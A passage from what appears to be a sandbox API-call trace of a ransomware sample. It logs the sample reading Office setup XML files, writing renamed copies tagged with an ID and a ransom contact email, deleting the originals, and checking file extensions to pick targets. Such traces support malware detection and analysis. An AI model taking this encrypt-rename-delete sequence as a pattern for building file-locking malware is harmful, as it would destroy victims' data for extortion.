Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0095.357] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.357] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.124] GetLastError () returned 0x0 [0096.124] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0096.132] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0096.134] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.134] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0096.134] SetEndOfFile (hFile=0x1e0) returned 1 [0096.135] CloseHandle (hObject=0x1e0) returned 1 [0096.135] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.136] SetEndOfFile (hFile=0x1fc) returned 1 [0096.137] CloseHandle (hObject=0x1fc) returned 1 [0096.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.137] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0096.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.138] lstrlenW (lpString=".doc") returned 4 [0096.138] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.138] lstrlenW (lpString=".docx") returned 5 [0096.138] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0096.138] lstrlenW (lpString=".pdf") returned 4 [0096.138] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.138] lstrlenW (lpString=".xls") returned 4 [0096.138] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.138] lstrlenW (lpString=".xlsx") returned 5 [0096.138] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0096.138] lstrlenW (lpString=".ppt") returned 4 [0096.138] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.138] lstrlenW (lpString=".zip") returned 4 [0096.138] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.138] lstrlenW (lpString=".rar") returned 4 [0096.138] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString=".bz2") returned 4 [0096.139] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString=".7z") returned 3 [0096.139] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.139] lstrlenW (lpString=".dbf") returned 4 [0096.139] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.139] lstrlenW (lpString=".1cd") returned 4 [0096.139] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.139] lstrlenW (lpString=".jpg") returned 4 [0096.139] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.139] lstrlenW (lpString=".doc") returned 4 [0096.139] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString=".docx") returned 5 [0096.139] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0096.139] lstrlenW (lpString=".pdf") returned 4 [0096.139] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.139] lstrlenW (lpString=".xls") returned 4 [0096.140] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.140] lstrlenW (lpString=".xlsx") returned 5 [0096.140] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0096.140] lstrlenW (lpString=".ppt") returned 4 [0096.140] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.140] lstrlenW (lpString=".zip") returned 4 [0096.140] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.140] lstrlenW (lpString=".rar") returned 4 [0096.140] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.140] lstrlenW (lpString=".bz2") returned 4 [0096.140] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.140] lstrlenW (lpString=".7z") returned 3 [0096.140] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.140] lstrlenW (lpString=".dbf") returned 4 [0096.140] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.140] lstrlenW (lpString=".1cd") returned 4 [0096.140] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0096.140] lstrlenW (lpString=".jpg") returned 4 [0096.141] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.141] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.141] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0096.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.144] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=16852) returned 1 [0096.144] CloseHandle (hObject=0x18c) returned 1 [0096.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0096.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.145] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.145] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0096.146] GetLastError () returned 0x0 [0096.146] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x41d4, lpOverlapped=0x0) returned 1 [0096.151] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0096.154] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.154] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0096.154] SetEndOfFile (hFile=0x1fc) returned 1 [0096.154] CloseHandle (hObject=0x1fc) returned 1 [0096.155] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.155] SetEndOfFile (hFile=0x18c) returned 1 [0096.156] CloseHandle (hObject=0x18c) returned 1 [0096.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.157] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0096.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.157] lstrlenW (lpString=".doc") returned 4 [0096.157] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.157] lstrlenW (lpString=".docx") returned 5 [0096.157] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0096.157] lstrlenW (lpString=".pdf") returned 4 [0096.157] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.157] lstrlenW (lpString=".xls") returned 4 [0096.157] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.157] lstrlenW (lpString=".xlsx") returned 5 [0096.157] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0096.158] lstrlenW (lpString=".ppt") returned 4 [0096.158] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.158] lstrlenW (lpString=".zip") returned 4 [0096.158] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.158] lstrlenW (lpString=".rar") returned 4 [0096.158] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.158] lstrlenW (lpString=".bz2") returned 4 [0096.158] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.158] lstrlenW (lpString=".7z") returned 3 [0096.158] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.158] lstrlenW (lpString=".dbf") returned 4 [0096.158] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.158] lstrlenW (lpString=".1cd") returned 4 [0096.158] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.158] lstrlenW (lpString=".jpg") returned 4 [0096.158] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.159] lstrlenW (lpString=".doc") returned 4 [0096.159] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.159] lstrlenW (lpString=".docx") returned 5 [0096.159] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0096.159] lstrlenW (lpString=".pdf") returned 4 [0096.159] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.159] lstrlenW (lpString=".xls") returned 4 [0096.159] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.159] lstrlenW (lpString=".xlsx") returned 5 [0096.159] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0096.159] lstrlenW (lpString=".ppt") returned 4 [0096.159] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.159] lstrlenW (lpString=".zip") returned 4 [0096.159] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.159] lstrlenW (lpString=".rar") returned 4 [0096.159] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.159] lstrlenW (lpString=".bz2") returned 4 [0096.159] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.159] lstrlenW (lpString=".7z") returned 3 [0096.159] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.159] lstrlenW (lpString=".dbf") returned 4 [0096.160] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.160] lstrlenW (lpString=".1cd") returned 4 [0096.160] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0096.160] lstrlenW (lpString=".jpg") returned 4 [0096.160] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.160] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.160] lstrlenW (lpString="SETUP.XML") returned 9 [0096.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.161] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=31094) returned 1 [0096.161] CloseHandle (hObject=0x18c) returned 1 [0096.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0096.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.161] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.161] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.206] GetLastError () returned 0x0 [0096.206] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x7976, lpOverlapped=0x0) returned 1 [0096.642] WriteFile (in: hFile=0x190, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x7980, lpOverlapped=0x0) returned 1 [0096.644] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.645] WriteFile (in: hFile=0x190, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.645] SetEndOfFile (hFile=0x190) returned 1 [0096.645] CloseHandle (hObject=0x190) returned 1 [0096.646] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.646] SetEndOfFile (hFile=0x18c) returned 1 [0096.647] CloseHandle (hObject=0x18c) returned 1 [0096.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.648] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.648] lstrlenW (lpString=".doc") returned 4 [0096.648] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.648] lstrlenW (lpString=".docx") returned 5 [0096.648] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.648] lstrlenW (lpString=".pdf") returned 4 [0096.649] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.649] lstrlenW (lpString=".xls") returned 4 [0096.649] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.649] lstrlenW (lpString=".xlsx") returned 5 [0096.649] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.649] lstrlenW (lpString=".ppt") returned 4 [0096.649] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.650] lstrlenW (lpString=".zip") returned 4 [0096.650] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.650] lstrlenW (lpString=".rar") returned 4 [0096.650] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.650] lstrlenW (lpString=".bz2") returned 4 [0096.650] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.650] lstrlenW (lpString=".7z") returned 3 [0096.650] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.650] lstrlenW (lpString=".dbf") returned 4 [0096.650] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.650] lstrlenW (lpString=".1cd") returned 4 [0096.650] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.651] lstrlenW (lpString=".jpg") returned 4 [0096.651] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.651] lstrlenW (lpString=".doc") returned 4 [0096.651] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.651] lstrlenW (lpString=".docx") returned 5 [0096.651] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.651] lstrlenW (lpString=".pdf") returned 4 [0096.651] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.651] lstrlenW (lpString=".xls") returned 4 [0096.651] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.651] lstrlenW (lpString=".xlsx") returned 5 [0096.651] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.651] lstrlenW (lpString=".ppt") returned 4 [0096.651] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.651] lstrlenW (lpString=".zip") returned 4 [0096.652] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.652] lstrlenW (lpString=".rar") returned 4 [0096.652] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.652] lstrlenW (lpString=".bz2") returned 4 [0096.652] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.652] lstrlenW (lpString=".7z") returned 3 [0096.652] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.652] lstrlenW (lpString=".dbf") returned 4 [0096.652] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.652] lstrlenW (lpString=".1cd") returned 4 [0096.652] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0096.652] lstrlenW (lpString=".jpg") returned 4 [0096.652] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.653] lstrcmpiW 